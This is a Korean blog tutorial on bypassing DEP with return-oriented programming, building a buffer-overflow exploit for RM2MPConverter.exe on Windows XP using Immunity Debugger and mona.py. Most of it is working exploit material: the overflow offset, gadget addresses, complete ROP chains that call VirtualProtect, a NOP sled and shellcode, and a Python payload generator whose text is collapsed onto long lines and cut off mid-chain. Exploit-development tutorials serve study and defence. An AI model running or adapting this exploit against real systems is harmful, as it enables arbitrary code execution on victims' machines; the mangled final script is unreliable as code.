returnorientedprogramming


앞의 글에서 기본적인 DEP 의 개념을 알아보았다. 이제 immunity debugger 와 유용한 몇가지 pycommand 를 통해


exploit 을 작성해 보자.




 실습 환경


 - OS Ver : 한글 Windows XP SP3

 - DEP : 예외목록 이외의 모든 프로세스에 DEP 적용 ( OptOut )

 - 디버거 : Immunity Debugger + mona.py

 - 취약프로그램 : RM2MPConverter.exe

 - Exploit 작성언어 : Python 2.7





# immunity debugger


 - ollydebugger 를 기반으로 python 으로 작성된 디버거

 - python shell 지원

 - immLib 을 통해 python 으로 조작 및 접근이 용이함

 - 간단한 코드만으로 후킹 가능

 - 안티디버깅 및 다양한 exploit 제작용 플러그인 제공


[그림1] immunity debugger


# pycommand


 - immunity debugger 의 plugin 개념으로 파이썬으로 만들어진 추가기능

 - 디버거가 제공하는 라이브러리를 활용하여 간단하게 제작 가능

 - command 창에 !명령어 방식으로 사용

    ex)  !list        // 현재 존재하는 pycommand 목록

          !scanpe   // 현재 로딩된 pefile 정보 scan


[ 그림2 ] pycommand 목록 ( ! list )



[ 그림3 ] scanpe 를 통한 파일 정보 스캔 (packing 여부 등)




# mona.py


  해커그룹 corelan 팀에서 만든 exploit 제작용 다용도 툴로, https://github.com/corelan/mona 에서 받을 수 있다.


  유용한 가젯들을 자동으로 찾아주며, bypass dep rop chain 까지 자동으로 만들어 준다. 하지만 정해진 명령에 


  대한 가젯을 찾을 수 없으면 실패하며(자동화 툴의 한계...) 수동으로 rop payload 를 구성해 주어야 한다. 

  

  어쨌든 exploit 을 제작하는데 필요한 다양한 기능들을 제공하므로, exploit 을 개발에 필수적인 툴이라 할 수 있겠다.


  참고로 이전에 발표된 pvefindaddr 를 개선하여 만들어진 것이며 최신 immunity debugger 에서는 pvefindaddr


  이 동작하지 않는다. 조금 분석해 보니 immunity debugger 의 API 명이 소문자로 바뀌었더라.(-.- 왜 그랬을까?)


  다운받은 mona.py 를 immunity debugger 의 하위에 있는 pycommands 폴더에 복사하면 된다.



[ 그림4 ] mona.py





이제 본격적으로 rop 를 통해 dep 를 우회하는 exploit 을 만들어 보자. rop 에 대한 간단한 개념은 이전 글을 통해 알


아 보았으니, 먼저 최종적으로 구성해야 하는 payload 를 다시 한번 확인해 보도록 하자.




# 최종 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Addres





# 취약 프로그램 buffer 크기 확인


 - 먼저 버퍼 크기를 확인해 보도록 하자. pattern_create 를 통해 offset 을 확인해 보도록 하자.


    (이전 포스팅에서 여러번 했으니까 생략 -_-! 참고로 mona 에도 pattern_create 와 pattern_offset 기능이 있다. )






 확인 결과 위와 같이 26104 개의 dummy 값 뒤에 EIP 가 "BBBB" 로 덮어씌워 졌음을 확인할 수 있다.


 이제 offset 을 확인하였으니 본격적으로 ROP payload 를 구성해 보자.







# mona 를 활용한 ROP exploit 개발


 - 위에서 설치한 mona 를 활용하여 rop payload 를 구성해 보자.



1) stack pivot

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 



  !mona find -s 0xc3   // RETN 명령을 찾는다. 


실행결과는 find.txt 파일에 저장된다. rebase 가 false 이고 aslr 이 false 이며 null 이 들어가지 않은 주소를 선택


하는 것이 좋다. ( -n 옵션을 주면 자동으로 제외된다. ) 현재 SEH 기반이 아닌 일반적인 direct EIP Overwrite 


exploit 이므로, 별도의 stack pivot 이 필요없다. 그냥 RETN 명령으로 다음 ROP 로 이어지도록 해주기만 하면


된다.



*find.txt 결과 


찾아진 주소값 중 하나를 사용하면 된다. 여기서는 0x100102dc 의 주소에 있는 RETN 을 사용할 것이다.


 


 

이제 본격적인 payload 구성을 위해 mona 를 이용해 gadget 목록을 만들자.



 !mona rop -n   // 로드된 모든 모듈에서 가젯들을 추출 



 !mona rop -n -m abc.dll // abc.dll 에서만 가젯 추출



모든 모듈에서 가젯을 만들어 내기보다는 rebase 나 aslr 이 적용되지 않은 모듈 중 선택하여 사용할


모듈에서만 가젯을 추출하는 것이 좋다. 우선 rop.txt 를 살펴보면 엄청나게 많은 가젯들이 들어 있을 것이다. 


rop_suggestion.txt 에는 각 명령을 위한 추천 가젯들이 추려져 있다. 이 목록을 참고해도 된다. 여기서는 


cygwin을 설치한 뒤 grep 명령을 통해 rop.txt 를 검색하는 방식으로 가젯을 찾을 것이다. 윈도우에도 findstr 이란 명


령어가 존재하니, 편한대로 하면 된다. :)



# jump to ROP1

 eip = struct.pack('<L', 0x100102dc) # retn 



현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc) # retn 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address


* 참고

- !mona stackpivot 을 실행하면 esp 를 조정해 주는 가젯들만 찾을 수 있다.







2) ROP1 for Save Stack Pointer


이제 가장 먼저 할 일은 현재 스택 주소를 저장해 두는 것이다. 이는 차후에 VirtualProtect 및 인자값의 주소를


계산할때 사용할 포인터로 쓰인다. 스택주소를 저장하는 쉬운 방법은 "PUSH ESP, POP ~~, RETN" 가젯을


이용하는 것이다.  


$ grep -E "PUSH ESP.+POP E??" rop.txt 


검색 결과 다음과 같은 가젯을 찾을 수 있었다.


 PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX], ECX / RETN 


이 가젯은 현재 스택주소를 스택에 넣은 뒤 ESI 에 POP 한다. 이후 뒷부분은 크게 신경쓰지 않아도 된다.


단, 이 부분이 ESI 를 변형시킨다면 해당 가젯은 쓰면 안된다. 필요한 값이 변경되기 때문이다. 이는 모든 가젯에


해당된다. 가젯을 사용할 때에는 필요한 명령 외에도 여러 명령이 붙어 있을 수도 있다. 이러한 명령들이 기존의


필요한 레지스터의 값들을 변경시키지 않는 가젯을 잘 선별해야 한다. 이 스택 포인터는 차후에 VirtualProtect


주소가 들어있는 스택주소를 가리키는데 쓰이기도 하고, VirtualProtect 의 인자값을 만들어 줄 때에도 쓰인다. 그러므


로 이 주소값은 최소 2개 이상의 레지스터에 저장해 두면 더 수월하게 ROP 를 수행할 수 있다. 물론 하나로도 가능하


겠지만, 그만큼 더 많은 가젯이 필요하다. 당연한 말이지만 payload 가 복잡해서 좋을 것은 없다. 간단하게 가자.


이와 동일한 방식으로 찾아낸 가젯들을 이용해서 ESP 에 저장된 현재 스택주소를 EAX 와 EDI 에 저장했다.


중간중간의 padding 은 이전 가젯의 POP 으로 인해 ESP값이 증가하는 것을 맞춰주기 위함이므로 아무 값이나 


넣어두면 된다. 즉, 하나의 가젯에서는 PUSH 와 POP 의 쌍이 맞아야 하며, POP 이 많다면 그 아래에 padding 


값을 넣어주어야 한다.


# ROP 1 

# [ esp -> eax,edi ]

rop0 = struct.pack('<L',0x1002e892

            # PUSH ESP 

            # AND AL,10 

            # POP ESI 

            # MOV DWORD PTR DS:[EDX],ECX 

            # RETN   

rop0 += struct.pack('<L',0x1002627d

            # MOV EAX,ESI 

            # POP EDI 

            # POP ESI 

            # RETN 

rop0 += padding # for pop edi

rop0 += padding # for pop esi

rop0 += struct.pack('<L',0x100128f7

            # PUSH EAX 

            # POP ED

            # POP ESI 

            # POP EBX 

            # RETN

rop0 += padding # for pop esi

rop0 += padding # for pop ebx

rop_jump = struct.pack('<L',0x10015340

            # ADD ESP,18 

            # RETN / jump rop2 for param1 


위의 ROP 체인에서 필요한 명령어만 추리면 아래와 같다.



 * ROP1 for save stack pointer

PUSH ESP         // 현재 스택주소를 PUSH

POP ESI            // 스택주소를 ESI 에 저장 

MOV EAX, ESI   // ESI 를 EAX에 저장       [ esp -> eax ]

PUSH EAX         // EAX를 PUSH

POP EDI            // 스택주소를 EDI 에 저장 [ esp -> edi ]

ADD ESP,18       // ROP2 로 점프



여기까지 실행하면 아래와 같이 원하는 결과가 수행 되었음을 확인할 수 있다.






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address



3) VirtualProtect() + Parameters


 VirtualProtect() 함수의 주소와 함수 실행 후 리턴주소, 그리고 함수의 인자값으로 사용할 4개의 인자를 넣어주면 된


 다. 함수 주소는 kernel32.dll base 주소 + 1ad4 이며, 실습환경에서의 주소값은 0x7c801ad4 였다.(PC마다 조금씩 


 다를 수 있다. 실제로 이 주소는 기타 다른 문서의 주소값과 다르다. 아마 정품이 아닌 패치판이라 그런....듯 -_-; )


 파라미터값은 어차피 나중에 ROP 를 통해 동적으로 만들어 줄 것이므로 아무 값이나 넣으면 된다. 단, 마지막 인자값


 의 경우에는 쓰기가 가능한 주소를 넣어 주어야 한다. 다시 한번 VirtualProtect 함수의 인자값을 확인해 보자.


* VirtualProtect()   

 BOOL WINAPI VirtualProtect(

   _In_   LPVOID lpAddress,

   _In_   SIZE_T dwSize,

   _In_   DWORD flNewProtect,

   _Out_  PDWORD lpflOldProtect

 );

 


* Stack 구성

rop_virtual = struct.pack('<L',0x7C801AD4)    # VirtualProtect() Address

rop_ret = struct.pack('<L',0x01010101)

rop_lpaddr = struct.pack('<L',0x42424242)

rop_size = struct.pack('<L',0x43434343)

rop_newprotect = struct.pack('<L',0x44444444)

rop_writable = struct.pack('<L',0x10035005)






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address



4) ROP2 for RET(Shellcode)


 ROP2는 VirtualProtect() 함수 실행 후 이어서 실행될 값인 쉘코드 주소를 만들기 위한 것이다. 미리 저장해 두었던 


 스택 포인터 값에 ADD 명령을 수행하여 쉘코드가 존재할 주소값을 만들어 줄 것이다. 가젯의 수와 Nop 의 수를 감


 안하여 Add 값을 정하면 된다. Nop 위로만 떨어지면 되기 때문에 실제 쉘코드보다 앞이기만 하면 된다.



 * ROP2

rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding # for retn 4

rop_param1 += padding # for retn 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding 

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN 

rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param1 += padding


위의 체인에서 중요한 가젯들을 살펴보자. 이 ROP를 통해서 실행하길 원하는 것은 쉘코드의 주소를 


VirtualProtect() 의 주소 바로 아래에 저장하는 것이다. ( 01010101 값이 들어있는 주소 )



rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 


이 가젯은 EDI 에 저장되어 있던 스택포인터 값을 ESI 에 저장한다.




rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN  


이 가젯은 EAX에 저장되어 있던 스택 포인터의 값을 0x100 증가 시킨다. 2회 반복하여 + 0x200 이 된다.


0x200 이 더해져서 nop 의 주소를 가리키게 되며, 이 nop 후에는 쉘코드가 존재한다.


 



rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  


이 가젯은 ESI 에 저장된 스택포인터를 증가시켜서 01010101 이 저장된 주소 - 0x10 값을 만든다. -10 주소를 


만드는 이유는 값을 저장하는데 사용할 가젯이 ESI+10 이기 때문이다. 미리 10을 빼주어서 실제 값이 저장될 때


-10+10 이 되어 정확한 위치에 값을 쓰도록 하는 것이다. 조금 헷갈릴 수 있으나 직접 실행해보면 바로 알 수 


있을 것이다. 




rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 


이 가젯으로 EAX에 저장된 쉘코드 주소의 값을 [ESI+10], 즉 01010101 이 저장되어 있던 RET 주소에 쓰게 된다.


가장 중요한 개념이므로 확실히 이해하고 넘어가자. 앞으로도 이 가젯을 이용하여 파라미터값들을 쓰게 된다.







실행해보면 정확히 값을 덮어썼음을 확인할 수 있다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address




5) ROP3 for VirtualProtect Parameter1


 위와 같은 방식으로 Parameter1 을 구성해 준다. 단, ESI 값을 4 증가시켜 스택에서 다음 인자값 주소를 가리키도록 

 

 한다. 이외에는 4)와 거의 동일하다. 첫번째 파라미터는 메모리 실행권한을 추가해 줄 주소이며, 이미 저장해둔


 EAX의 스택 포인터 값을 재활용 하면 된다. 



 * ROP3

rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param2 += padding

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param2 += padding




6) ROP4 for VirtualProtect Parameter2


 역시 동일한 방식으로 진행하여 파라미터값 0x300 을 만들어서 값을 써준다. 파라미터1에서 지정해준 값부터 


 이 파라미터2 의 값의 크기만큼 실행권한을 추가해 주게 되므로, 원하는 만큼 값을 크게 주어도 상관없다.


 0x300 이면 Nop 를 포함한 쉘코드가 충분히 들어갈 크기이므로 적당히 0x300 으로 해도 된다.



 * ROP4

rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param3 += padding





7) ROP5 for VirtualProtect Parameter3


 위와 동일. 다만 실행 권한을 주어야 하므로 값을 0x40 이 되도록 해준다.


* ROP5

rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN  

rop_param4 += padding 

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param4 += padding



여기까지 정상적으로 수행이 되었다면 이제 VirtualProtect 의 인자값은 모두 구성이 되었다. 이제 남은 것은


VirtualProtect() 를 실행하고, 쉘코드의 주소로 점프하여 원하는 쉘코드를 실행하는 것이다.






8) Jump to VirtualProtect()


* Jump to &VirtualProtect()

rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN


스택의 특정 주소로 돌아가는 것은 POP ESP 명령을 통해 수행할 수 있으며, 이 값을 조절하기 위해 이미 저장해 둔


스택포인터 EAX를 활용한다. 즉 PUSH EAX / POP ESP / RETN 명령을 수행하면 결국 EAX에 저장되어 있던 주소로


돌아가게 될 것이다. 이 가젯에 POP 이 2번 더 들어가 있기 때문에 이 명령을 수행하기 전에 SUB EAX,4 를 통해


스택주소값을 맞춰준다. 이제 준비는 다 되었다.




9) Nop + Shellcode


 이 부분은 따로 설명하지 않겠다. 일반적인 0x90 과 쉘코드이다.


* Nop + shellcode

nops = "\x90" * 260 

shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe"

shellcode +="\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8"

shellcode +="\xfa\xca\x81\x7c\xff\xd0"






# 최종 Payload


위에서 설명한 가젯들을 연결해 보면 아래와 같다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 rop_param2 = struct.pack('<L',0x76a6131e) 

 rop_param2 += struct.pack('<L',0x1002dc4c)

 rop_param2 += padding

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77D94115)

 rop_param2 += padding

 7

 ROP4 for VirtualProtect Parameter2

 rop_param3 = struct.pack('<L',0x76a6131e) 

 rop_param3 += struct.pack('<L',0x100307A9)

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c)

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77D94115) 

 rop_param3 += padding

 8

 ROP5 for VirtualProtect Parameter3

 rop_param4 = struct.pack('<L',0x76a6131e) 

 rop_param4 += struct.pack('<L',0x100307A9)

 rop_param4 += struct.pack('<L',0x1002dc41)

 rop_param4 += padding 

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77D94115)

 rop_param4 += padding

 9

 Jump to VirtualProtect()

 rop_virtual_jump = struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x77107d1d)  

 rop_virtual_jump += struct.pack('<L',0x73d55858) 

 10

 Nop + Shellcode 

 nops = "\x90" * 260 

 shellcode ="\x55\x8b\xec\x83\xec\x44..."

High Address




이제 이 payload 를 파일로 만드는 코드를 작성하자.



 # rop_rm2mp3.py

import sys

import struct

s = "A"*26104 Virtualprotect = 0x7C801AD4 padding = struct.pack('<L',0x41414141) # ======= stack pivot =======# eip = struct.pack('<L', 0x100102dc) # retn eip += padding # ======== save stack pointer ========== # [ esp -> eax,edi ] rop0 = struct.pack('<L',0x1002e892

# PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN rop0 += struct.pack('<L',0x1002627d

# MOV EAX,ESI # POP EDI # POP ESI # RETN rop0 += padding # for pop edi rop0 += padding # for pop esi rop0 += struct.pack('<L',0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop0 += padding # for pop esi rop0 += padding # for pop ebx rop_jump = struct.pack('<L',0x10015340) # ADD ESP,18 # RETN / jump rop2 for param1 # ======= virtualprotect params ======== # rop_virtual = struct.pack('<L',Virtualprotect) rop_ret = struct.pack('<L',0x01010101) rop_lpaddr = struct.pack('<L',0x42424242) rop_size = struct.pack('<L',0x43434343) rop_newprotect = struct.pack('<L',0x44444444) rop_writable = struct.pack('<L',0x10035005) # ======== make param1 ====== # param1 = return address ( shellcode address ) rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding # for retn 4 rop_param1 += padding # for retn 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) 